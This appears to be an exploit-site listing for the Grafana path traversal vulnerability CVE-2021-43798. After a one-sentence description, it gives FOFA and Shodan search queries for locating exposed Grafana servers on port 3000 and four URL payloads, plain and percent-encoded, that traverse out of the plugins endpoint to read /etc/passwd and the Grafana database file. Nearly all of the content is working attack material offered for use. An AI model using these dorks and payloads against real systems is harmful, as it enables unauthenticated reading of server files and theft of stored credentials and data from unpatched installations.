Exploit for Path Traversal in Grafana CVE-2021-43798

Name: Exploit for Path Traversal in Grafana CVE-2021-43798
Rating: 5 (157 reviews)

2025-11-27 | CVSS 7.5

## https://sploitus.com/exploit?id=EA013392-EDA5-5915-B6B8-3092EB2BBC34
# CVE-2021-43798
CVE-2021-43798 is a high-severity path traversal vulnerability (CVSS 3.1 score: 7.5) affecting Grafana versions 8.0.0-beta1 through 8.3.0. It allows unauthenticated attackers to read arbitrary files from the server by exploiting improper sanitization in the /public/plugins/:pluginId endpoint

dork : 

fofa : title="Grafana" && port="3000"
shodan : http.title:"Grafana" port:3000


payload : 

/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
/public/plugins/mysql/../../../../../../../../../../../../etc/passwd
/public/plugins/mysql/../../../../../../../../../../../../var/lib/grafana/grafana.db
/public/plugins/mysql/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Flib%2Fgrafana%2Fgrafana.db